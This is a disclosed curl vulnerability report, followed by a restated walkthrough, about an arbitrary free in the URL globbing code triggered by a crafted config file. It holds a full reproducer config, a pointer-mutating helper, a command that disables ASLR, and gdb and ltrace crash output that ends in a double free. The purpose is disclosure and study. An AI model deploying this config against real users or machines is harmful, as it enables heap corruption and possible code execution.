Arbitrary free in curl's config file parsing.
A crafted curl config file can make the URL globbing code pass an attacker-controlled pointer to free(), causing a crash and heap corruption. The reporter shows a controlled value reaching free() and a double-free abort, but does not demonstrate code execution.
Originally disclosed on HackerOne
- Disclosed after 3 days
Summary:
arbitrary free (leading to possible double-free / use-after-free / memory corruption, depending on the program and the ability of what a we can do after freeing the pointer we control.
Statement clarifying if an AI was used to find the issue or generate the report: Yes I used AI to list down some resources related to this bug.
Affected version
- curl 8.17.0 (x86_64-pc-linux-gnu) libcurl/8.17.0 OpenSSL/3.4.1 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 nghttp2/1.64.0 librtmp/2.3 OpenLDAP/2.6.9
Release-Date: 2025-11-05 Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp ws wss Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd
- and curl 8.16.0 is also affected, different samples and different controlled parameters in the config file.
OS/kernel:
- tested on Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1.
Steps To Reproduce:
1.>> touch host0.bin and open it (vim host0.bin): ........ F5027150
2. paste this :
-Z
--url "http://google.com/iernay{1-2}kFORFNUUklOR1JBTkRTVFJJTkdSQU5EU1RSSU5HUkFORFNUUklOR1JBTkRTVFJJTkdSQU5EU1RSSU5HUkFORFNUUklOR1JBTkRTVFJJT"
--url "http://[::%2-socks5]:8080/"
--url google.com-Z[.-p].example.com"
--doh-url=127.0.0.1
- Run :
>> gdb -ex "r" --args curl --config host0.bin
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x2e302e302e373231 ("127.0.0."?)
$rbx : 0xffffffffffffff88
$rcx : 0x0000555555603aa0 → 0xffffffff00000001
$rdx : 0x0
$rsp : 0x00007fffffffd440 → 0x00007fffffffd6c8 → 0x0000000000000001
$rbp : 0x00007fffffffd490 → 0x00007fffffffd6e0 → 0x00007fffffffd7b0 → 0x00007fffffffd7f0 → 0x00007fffffffd830 → 0x00007fffffffd890 → 0x00007fffffffd920 → 0x00007fffffffd960
$rsi : 0x2e302e302e373221 ("!27.0.0."?)
$rdi : 0x2e302e302e373231 ("127.0.0."?)
$rip : 0x00007ffff7cb24aa → <free+001a> mov rax, QWORD PTR [rdi-0x8]
$r8 : 0x2
$r9 : 0x1
$r10 : 0x7
$r11 : 0x00005555556023d0 → 0x0000555000355422 (""T5"?)
$r12 : 0x0
$r13 : 0x00007fffffffdb28 → 0x00007fffffffdec9 → "NMAP_PRIVILEGED="
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → jg 0x555555554047
$r15 : 0x00005555555c6a18 → 0x000055555555e970 → <__do_global_dtors_aux+0000> endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd440│+0x0000: 0x00007fffffffd6c8 → 0x0000000000000001 ← $rsp
0x00007fffffffd448│+0x0008: 0x000000000000000e
0x00007fffffffd450│+0x0010: 0x0000555555602c9d → ".-p].example.com""
0x00007fffffffd458│+0x0018: 0x00007fffffffd8b0 → 0x0000555555604920 → 0x00000003000bab1e
0x00007fffffffd460│+0x0020: 0x00007fffffffd490 → 0x00007fffffffd6e0 → 0x00007fffffffd7b0 → 0x00007fffffffd7f0 → 0x00007fffffffd830 → 0x00007fffffffd890 → 0x00007fffffffd920
0x00007fffffffd468│+0x0028: 0x000055555557e8a7 → <glob_cleanup+00da> mov rax, QWORD PTR [rbp-0x18]
0x00007fffffffd470│+0x0030: 0x00007fffffffd8b0 → 0x0000555555604920 → 0x00000003000bab1e
0x00007fffffffd478│+0x0038: 0x00005555555cb618 → 0x00005555556019c0 → 0x632e656c676f6f00
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7cb249e <free+000e> push rbx
0x7ffff7cb249f <free+000f> sub rsp, 0x18
0x7ffff7cb24a3 <free+0013> mov rbx, QWORD PTR [rip+0x144956] # 0x7ffff7df6e00
→ 0x7ffff7cb24aa <free+001a> mov rax, QWORD PTR [rdi-0x8]
0x7ffff7cb24ae <free+001e> mov ebp, DWORD PTR fs:[rbx]
0x7ffff7cb24b1 <free+0021> test al, 0x2
0x7ffff7cb24b3 <free+0023> jne 0x7ffff7cb2510 <__GI___libc_free+128>
0x7ffff7cb24b5 <free+0025> mov rdx, QWORD PTR [rip+0x1448e4] # 0x7ffff7df6da0
0x7ffff7cb24bc <free+002c> cmp QWORD PTR fs:[rdx], 0x0
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "curl", stopped 0x7ffff7cb24aa in __GI___libc_free (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x2e302e302e373231)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
[#3] 0x555555575f32 → single_transfer(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#4] 0x55555557769d → transfer_per_config(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#5] 0x555555577704 → create_transfer(share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#6] 0x555555576a88 → add_parallel_transfers(multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, addedp=0x7fffffffd8e1)
[#7] 0x555555576f6a → parallel_transfers(share=0x5555555fff50)
[#8] 0x5555555777bd → run_all_transfers(share=0x5555555fff50, result=CURLE_OK)
[#9] 0x555555577be7 → operate(argc=0x3, argv=0x7fffffffdb08)
──────────────────────────────────────────────────
gef➤
└─$ echo -ne "0x2e302e302e373231" |xxd -r -p |rev 127.0.0. # this is what we can control (for this config file)
I created this python script mutate.py(F5027147) that replaces the controlled data in heap0.bin (127.0.0.) with an address we need to pass to __GI___libc_freeand write a new config file vuln.conf
>> python mutate.py 0x4242424242424242 && gdb -ex "r" --args curl --config vuln.conf
─$
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x4242424242424242 ("BBBBBBBB"?)
$rbx : 0xffffffffffffff88
$rcx : 0x0000555555603aa0 → 0xffffffff00000001
$rdx : 0x0
$rsp : 0x00007fffffffd440 → 0x00007fffffffd6c8 → 0x0000000000000001
$rbp : 0x00007fffffffd490 → 0x00007fffffffd6e0 → 0x00007fffffffd7b0 → 0x00007fffffffd7f0 → 0x00007fffffffd830 → 0x00007fffffffd890 → 0x00007fffffffd920 → 0x00007fffffffd960
$rsi : 0x4242424242424232 ("2BBBBBBB"?)
$rdi : 0x4242424242424242 ("BBBBBBBB"?)
$rip : 0x00007ffff7cb24aa → <free+001a> mov rax, QWORD PTR [rdi-0x8]
$r8 : 0x2
$r9 : 0x1
$r10 : 0x7
$r11 : 0x00005555556023d0 → 0x0000555000355422 (""T5"?)
$r12 : 0x0
$r13 : 0x00007fffffffdb28 → 0x00007fffffffdec9 → "NMAP_PRIVILEGED="
$r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → jg 0x555555554047
$r15 : 0x00005555555c6a18 → 0x000055555555e970 → <__do_global_dtors_aux+0000> endbr64
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd440│+0x0000: 0x00007fffffffd6c8 → 0x0000000000000001 ← $rsp
0x00007fffffffd448│+0x0008: 0x000000000000000e
0x00007fffffffd450│+0x0010: 0x0000555555602c9d → ".-p].example.com""
0x00007fffffffd458│+0x0018: 0x00007fffffffd8b0 → 0x0000555555604920 → 0x00000003000bab1e
0x00007fffffffd460│+0x0020: 0x00007fffffffd490 → 0x00007fffffffd6e0 → 0x00007fffffffd7b0 → 0x00007fffffffd7f0 → 0x00007fffffffd830 → 0x00007fffffffd890 → 0x00007fffffffd920
0x00007fffffffd468│+0x0028: 0x000055555557e8a7 → <glob_cleanup+00da> mov rax, QWORD PTR [rbp-0x18]
0x00007fffffffd470│+0x0030: 0x00007fffffffd8b0 → 0x0000555555604920 → 0x00000003000bab1e
0x00007fffffffd478│+0x0038: 0x00005555555cb618 → 0x00005555556019c0 → 0x632e656c676f6f00
──────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ffff7cb249e <free+000e> push rbx
0x7ffff7cb249f <free+000f> sub rsp, 0x18
0x7ffff7cb24a3 <free+0013> mov rbx, QWORD PTR [rip+0x144956] # 0x7ffff7df6e00
→ 0x7ffff7cb24aa <free+001a> mov rax, QWORD PTR [rdi-0x8]
0x7ffff7cb24ae <free+001e> mov ebp, DWORD PTR fs:[rbx]
0x7ffff7cb24b1 <free+0021> test al, 0x2
0x7ffff7cb24b3 <free+0023> jne 0x7ffff7cb2510 <__GI___libc_free+128>
0x7ffff7cb24b5 <free+0025> mov rdx, QWORD PTR [rip+0x1448e4] # 0x7ffff7df6da0
0x7ffff7cb24bc <free+002c> cmp QWORD PTR fs:[rdx], 0x0
──────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "curl", stopped 0x7ffff7cb24aa in __GI___libc_free (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x4242424242424242)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
[#3] 0x555555575f32 → single_transfer(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#4] 0x55555557769d → transfer_per_config(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#5] 0x555555577704 → create_transfer(share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#6] 0x555555576a88 → add_parallel_transfers(multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, addedp=0x7fffffffd8e1)
[#7] 0x555555576f6a → parallel_transfers(share=0x5555555fff50)
[#8] 0x5555555777bd → run_all_transfers(share=0x5555555fff50, result=CURLE_OK)
[#9] 0x555555577be7 → operate(argc=0x3, argv=0x7fffffffdb08)
gef➤ where
#0 0x00007ffff7cb24aa in __GI___libc_free (mem=0x4242424242424242) at ./malloc/malloc.c:3375
#1 0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
#2 0x000055555557e7ba in glob_url (glob=0x5555555cb618 <globalconf+88>,
url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>,
error=0x7ffff7df84e0 <_IO_2_1_stderr_>) at tool_urlglob.c:481
#3 0x0000555555575f32 in single_transfer (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e,
skipped=0x7fffffffd86d) at tool_operate.c:1233
#4 0x000055555557769d in transfer_per_config (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e,
skipped=0x7fffffffd86d) at tool_operate.c:2132
#5 0x0000555555577704 in create_transfer (share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
at tool_operate.c:2151
#6 0x0000555555576a88 in add_parallel_transfers (multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0,
addedp=0x7fffffffd8e1) at tool_operate.c:1486
#7 0x0000555555576f6a in parallel_transfers (share=0x5555555fff50) at tool_operate.c:1840
#8 0x00005555555777bd in run_all_transfers (share=0x5555555fff50, result=CURLE_OK) at tool_operate.c:2173
#9 0x0000555555577be7 in operate (argc=0x3, argv=0x7fffffffdb08) at tool_operate.c:2314
#10 0x0000555555573096 in main (argc=0x3, argv=0x7fffffffdb08) at tool_main.c:199
gef➤ frame 1
#1 0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
499 tool_safefree(glob->pattern[i].c.set.elem[elem]);
gef➤ list
494 if(glob->pattern) {
495 for(i = 0; i < glob->size; i++) {
496 if((glob->pattern[i].type == GLOB_SET) &&
497 (glob->pattern[i].c.set.elem)) {
498 for(elem = glob->pattern[i].c.set.size - 1; elem >= 0; --elem)
499 tool_safefree(glob->pattern[i].c.set.elem[elem]);
500 tool_safefree(glob->pattern[i].c.set.elem);
501 }
502 }
503 tool_safefree(glob->pattern);
─────────────────────────────────────────────────────────
We can also confirm this using ltrace utility:
>> ltrace curl --config vuln.conf
...................
..................
curl_easy_setopt(0x5555556123e0, 99, 1, 0x2777) = 0
curl_easy_setopt(0x5555556123e0, 0x4efb, 0x55555557a7d7, 1) = 0
curl_easy_setopt(0x5555556123e0, 0x2749, 0x555555601500, 24) = 0
curl_easy_setopt(0x5555556123e0, 43, 0, 0x2749) = 0
curl_easy_setopt(0x5555556123e0, 0x271a, 0x5555556016c8, 0) = 0
curl_multi_add_handle(0x555555604920, 0x5555556123e0, 0x5555556123e0, 0x271a) = 0
curl_getenv(0x55555558f16b, 0x5555555fff50, 0, 0x7fffffffd89d) = 0
curl_getenv(0x55555558f17a, 0x7fffffffef4f, 14, 79) = 0
curl_getenv(0x55555558f187, 0x55555558f17a, 12, 83) = 0
free(nil) = <void>
memset(0x5555555cb618, '\0', 80) = 0x5555555cb618
malloc(96) = 0x555555600180
realloc(nil, 32) = 0x5555556019c0
memcpy(0x5555556019c0, "g", 1) = 0x5555556019c0
memcpy(0x5555556019c1, "o", 1) = 0x5555556019c1
memcpy(0x5555556019c2, "o", 1) = 0x5555556019c2
memcpy(0x5555556019c3, "g", 1) = 0x5555556019c3
memcpy(0x5555556019c4, "l", 1) = 0x5555556019c4
memcpy(0x5555556019c5, "e", 1) = 0x5555556019c5
memcpy(0x5555556019c6, ".", 1) = 0x5555556019c6
memcpy(0x5555556019c7, "c", 1) = 0x5555556019c7
memcpy(0x5555556019c8, "o", 1) = 0x5555556019c8
memcpy(0x5555556019c9, "m", 1) = 0x5555556019c9
memcpy(0x5555556019ca, "-", 1) = 0x5555556019ca
memcpy(0x5555556019cb, "Z", 1) = 0x5555556019cb
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x55555560195a) = 0x5555556039e0
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x5555556039e0, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x5555556039e0, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
malloc(8) = 0x5555556023d0
malloc(13) = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12) = 0x555555600220
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c) = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
realloc(0x555555600180, 192) = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a) = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
^
) = 100
free(0x555555600220) = <void>
free(0x5555556023d0) = <void>
free(0x4242424242424242 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Now that we confirmed that we have control over the pointer passed to free(free(0x4242424242424242 <no return ...>) we can analyse our program and decide what we can do with it.
for Simplicity, I disabled ASLR at this point:
>> echo 0 > /proc/sys/kernel/randomize_va_space
ltrace -e free -o free.txt curl --config vuln.conf (F5027151) Now if I take any address that has been freed already, and write it in the config file (vuln.conf) I got this :
─$ python mutate.py 0x555555602dd0 && ltrace curl --config vuln.conf
malloc(13) = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12) = 0x555555600220
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c) = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
realloc(0x555555600180, 192) = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a) = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
^
) = 100
free(0x555555600220) = <void>
free(0x5555556023d0) = <void>
free(0x555555602dd0) = <void>
free(0x555555602dd0free(): double free detected in tcache 2
<no return ...>
--- SIGABRT (Aborted) ---
+++ killed by SIGABRT +++
##Notes
-
So this is one version of the config file, it's like I generated lots of curl paramaters and propagate them in curl's config file, so I managed to pass data that I can control to free (corrupt heap)
-
Each variant exposes different pieces of controllable data that eventually reach __GI___libc_free. Some values cannot be influenced because they originate from internal cURL symbols, when several other variants give full control over the pointer passed to free().
-
Note that I haven't managed to trigger the the same crash with C code ( using <curl/curl.h> ), but it might be feasible
-
This represents one variant of the config file exploitation. By generating multiple curl parameters and propagating them through curl's configuration file, I managed to pass controllable data to the free() function, leading to heap corruption.
-
Different variants expose varying degrees of controllable data that eventually reach
__GI___libc_free(0x...). Some pointer values cannot be influenced as they originate from internal cURL symbols, while other variants provide full control over the pointer passed to free(). -
I have not managed to trigger the same crash using C code with <curl/curl.h>, though it might be feasible.
I set severity to Low, because:
-
Exploitation requires tricking a user into running a crafted config file, we can also use
~/.curlrcconfig file for suspecious parameters. -
Curl is already capable to execute commands, (This vulnerability arises from how curl processes configuration files, not from any inherent command-execution capability).
-
This needs additional vulnerability (Arbitrary read, memory leak, ..) to bypass ASLR/Tcache Mitigation, unless we leverage the same bug to achieve Read/Write primitive to later it to bypass ASLR and Tcache Mitigations.
Supporting Material/References:
Impact
Impact: Controlled pointer passed to free --> potential double-free/use-after-free --> RCE / privilege escalation, depends on the environment where curl run.
- Requires user to execute malicious config file
Context
curl is a command line tool and library for transferring data with URLs. One of its features is the ability to read options from a configuration file, passed with --config, and it also reads a default configuration file such as ~/.curlrc. Each line in that file is parsed as an option, and options that take a URL feed the URL globbing machinery, which expands patterns such as ranges and sets before the transfer starts.
The report describes an arbitrary free reached through that config file parsing: data that the author of the config file controls ends up being passed as the pointer argument to __GI___libc_free. Depending on what the program does with the freed pointer afterwards, that can become a double-free, a use-after-free or general heap corruption.
The researcher states that AI was used to list some resources related to the bug.
Setup
The affected versions given in the report are:
- curl 8.17.0 (x86_64-pc-linux-gnu) libcurl/8.17.0 OpenSSL/3.4.1 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 nghttp2/1.64.0 librtmp/2.3 OpenLDAP/2.6.9, Release-Date: 2025-11-05, with the protocol and feature lists shown in the report.
- curl 8.16.0 is also affected, with different samples and different controlled parameters in the config file.
Testing was done on Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1.
The tools used are gdb (with GEF, judging by the gef➤ prompt), ltrace, and a small Python helper called mutate.py written by the researcher. No account or remote service is needed: the precondition is that curl is run with a crafted config file, passed with --config; the report also notes ~/.curlrc could be used.
Finding it
The starting point is a config file whose URL options contain globbing syntax. When curl parses a URL that contains a set such as [.-p], the glob machinery later frees the individual elements of the set. In the crashing run, the pointer that reaches free is not a heap pointer at all: it is the ASCII bytes 127.0.0., which is data taken from the config file itself. That is what makes the bug interesting. The value being freed is attacker-controlled text, so the free target can be chosen by whoever writes the config file.
Exploitation
Step 1: create the config file
Create an empty file and open it in an editor:
touch host0.bin
Paste the following content into host0.bin:
-Z
--url "http://google.com/iernay{1-2}[redacted]"
--url "http://[::%2-socks5]:8080/"
--url google.com-Z[.-p].example.com"
--doh-url=[redacted]
The file mixes several option types: -Z enables parallel transfers, two --url lines carry globbing syntax ({1-2} and a bracketed IPv6-style host), a third --url carries the set [.-p], and --doh-url points at a local address. The third URL is the one that matters for the crash.
Step 2: run it under gdb
gdb -ex "r" --args curl --config host0.bin
The run stops with SIGSEGV inside __GI___libc_free. The registers show the argument being freed:
$rax : 0x2e302e302e373231 ("127.0.0."?)
$rsi : 0x2e302e302e373221 ("!27.0.0."?)
$rdi : 0x2e302e302e373231 ("127.0.0."?)
$rip : 0x00007ffff7cb24aa → <free+001a> mov rax, QWORD PTR [rdi-0x8]
The backtrace shows the path through the glob code:
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x2e302e302e373231)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
[#3] 0x555555575f32 → single_transfer(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#4] 0x55555557769d → transfer_per_config(config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#5] 0x555555577704 → create_transfer(share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
[#6] 0x555555576a88 → add_parallel_transfers(multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0, addedp=0x7fffffffd8e1)
[#7] 0x555555576f6a → parallel_transfers(share=0x5555555fff50)
[#8] 0x5555555777bd → run_all_transfers(share=0x5555555fff50, result=CURLE_OK)
[#9] 0x555555577be7 → operate(argc=0x3, argv=0x7fffffffdb08)
The value 0x2e302e302e373231 is the little-endian encoding of the string 127.0.0., which the researcher confirms by decoding it:
echo -ne "0x2e302e302e373231" |xxd -r -p |rev
127.0.0.
So the bytes passed to free are exactly the bytes the config file supplied, and the researcher notes this is what can be controlled for this config file.
Step 3: confirm control of the pointer
The researcher wrote a Python script, mutate.py, that replaces the controlled data in the config file with an arbitrary address and writes a new file, vuln.conf. Running it with a recognisable value:
python mutate.py 0x4242424242424242 && gdb -ex "r" --args curl --config vuln.conf
The crash now shows the chosen value in the argument register and in the free call:
$rax : 0x4242424242424242 ("BBBBBBBB"?)
$rsi : 0x4242424242424232 ("2BBBBBBB"?)
$rdi : 0x4242424242424242 ("BBBBBBBB"?)
$rip : 0x00007ffff7cb24aa → <free+001a> mov rax, QWORD PTR [rdi-0x8]
[#0] 0x7ffff7cb24aa → __GI___libc_free(mem=0x4242424242424242)
[#1] 0x55555557e8a7 → glob_cleanup(glob=0x5555555cb618 <globalconf+88>)
[#2] 0x55555557e7ba → glob_url(glob=0x5555555cb618 <globalconf+88>, url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>, error=0x7ffff7df84e0 <_IO_2_1_stderr_>)
The where command gives the source locations:
#0 0x00007ffff7cb24aa in __GI___libc_free (mem=0x4242424242424242) at ./malloc/malloc.c:3375
#1 0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
#2 0x000055555557e7ba in glob_url (glob=0x5555555cb618 <globalconf+88>,
url=0x555555602c90 "google.com-Z[.-p].example.com\"", urlnum=0x5555555cb688 <globalconf+200>,
error=0x7ffff7df84e0 <_IO_2_1_stderr_>) at tool_urlglob.c:481
#3 0x0000555555575f32 in single_transfer (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e,
skipped=0x7fffffffd86d) at tool_operate.c:1233
#4 0x000055555557769d in transfer_per_config (config=0x5555555ed9a0, share=0x5555555fff50, added=0x7fffffffd86e,
skipped=0x7fffffffd86d) at tool_operate.c:2132
#5 0x0000555555577704 in create_transfer (share=0x5555555fff50, added=0x7fffffffd86e, skipped=0x7fffffffd86d)
at tool_operate.c:2151
#6 0x0000555555576a88 in add_parallel_transfers (multi=0x555555604920, share=0x5555555fff50, morep=0x7fffffffd8e0,
addedp=0x7fffffffd8e1) at tool_operate.c:1486
#7 0x0000555555576f6a in parallel_transfers (share=0x5555555fff50) at tool_operate.c:1840
#8 0x00005555555777bd in run_all_transfers (share=0x5555555fff50, result=CURLE_OK) at tool_operate.c:2173
#9 0x0000555555577be7 in operate (argc=0x3, argv=0x7fffffffdb08) at tool_operate.c:2314
#10 0x0000555555573096 in main (argc=0x3, argv=0x7fffffffdb08) at tool_main.c:199
Frame 1 and the surrounding source show the free loop in glob_cleanup:
#1 0x000055555557e8a7 in glob_cleanup (glob=0x5555555cb618 <globalconf+88>) at tool_urlglob.c:499
499 tool_safefree(glob->pattern[i].c.set.elem[elem]);
494 if(glob->pattern) {
495 for(i = 0; i < glob->size; i++) {
496 if((glob->pattern[i].type == GLOB_SET) &&
497 (glob->pattern[i].c.set.elem)) {
498 for(elem = glob->pattern[i].c.set.size - 1; elem >= 0; --elem)
499 tool_safefree(glob->pattern[i].c.set.elem[elem]);
500 tool_safefree(glob->pattern[i].c.set.elem);
501 }
502 }
503 tool_safefree(glob->pattern);
Step 4: confirm with ltrace
The same run can be observed with ltrace:
ltrace curl --config vuln.conf
The trace shows the URL being split and the set element being handled, then the bad range error, then the frees:
curl_easy_setopt(0x5555556123e0, 99, 1, 0x2777) = 0
curl_easy_setopt(0x5555556123e0, 0x4efb, 0x55555557a7d7, 1) = 0
curl_easy_setopt(0x5555556123e0, 0x2749, 0x555555601500, 24) = 0
curl_easy_setopt(0x5555556123e0, 43, 0, 0x2749) = 0
curl_easy_setopt(0x5555556123e0, 0x271a, 0x5555556016c8, 0) = 0
curl_multi_add_handle(0x555555604920, 0x5555556123e0, 0x5555556123e0, 0x271a) = 0
curl_getenv(0x55555558f16b, 0x5555555fff50, 0, 0x7fffffffd89d) = 0
curl_getenv(0x55555558f17a, 0x7fffffffef4f, 14, 79) = 0
curl_getenv(0x55555558f187, 0x55555558f17a, 12, 83) = 0
free(nil) = <void>
memset(0x5555555cb618, '\0', 80) = 0x5555555cb618
malloc(96) = 0x555555600180
realloc(nil, 32) = 0x5555556019c0
memcpy(0x5555556019c0, "g", 1) = 0x5555556019c0
memcpy(0x5555556019c1, "o", 1) = 0x5555556019c1
memcpy(0x5555556019c2, "o", 1) = 0x5555556019c2
memcpy(0x5555556019c3, "g", 1) = 0x5555556019c3
memcpy(0x5555556019c4, "l", 1) = 0x5555556019c4
memcpy(0x5555556019c5, "e", 1) = 0x5555556019c5
memcpy(0x5555556019c6, ".", 1) = 0x5555556019c6
memcpy(0x5555556019c7, "c", 1) = 0x5555556019c7
memcpy(0x5555556019c8, "o", 1) = 0x5555556019c8
memcpy(0x5555556019c9, "m", 1) = 0x5555556019c9
memcpy(0x5555556019ca, "-", 1) = 0x5555556019ca
memcpy(0x5555556019cb, "Z", 1) = 0x5555556019cb
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x55555560195a) = 0x5555556039e0
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x5555556039e0, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x5555556039e0, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
malloc(8) = 0x5555556023d0
malloc(13) = 0x555555600220
memcpy(0x555555600220, "google.com-Z", 12) = 0x555555600220
strchr("[.-p].example.com"", ']') = "].example.com""
curl_url(0x555555602c9c, 93, 0x7fffffffd498, 0x5a2d6d6f632e656c) = 0x555555603a40
memcpy(0x7fffffffd3c0, "[.-p]", 5) = 0x7fffffffd3c0
curl_url_set(0x555555603a40, 0, 0x7fffffffd3c0, 512) = 22
curl_url_cleanup(0x555555603a40, 0x5555556001e0, 0x7ffff7cb2490, 49) = 0x5555555cc010
realloc(0x555555600180, 192) = 0x555555603aa0
curl_msnprintf(0x7fffffffd4f0, 512, 0x5555555903d8, 0x55555559038a) = 89
curl_mfprintf(0x7ffff7df84e0, 0x5555555903fa, 3, 0x7fffffffd4f0curl: (3) bad range specification in URL position 14:
google.com-Z[.-p].example.com"
^
) = 100
free(0x555555600220) = <void>
free(0x5555556023d0) = <void>
free(0x4242424242424242 <no return ...>
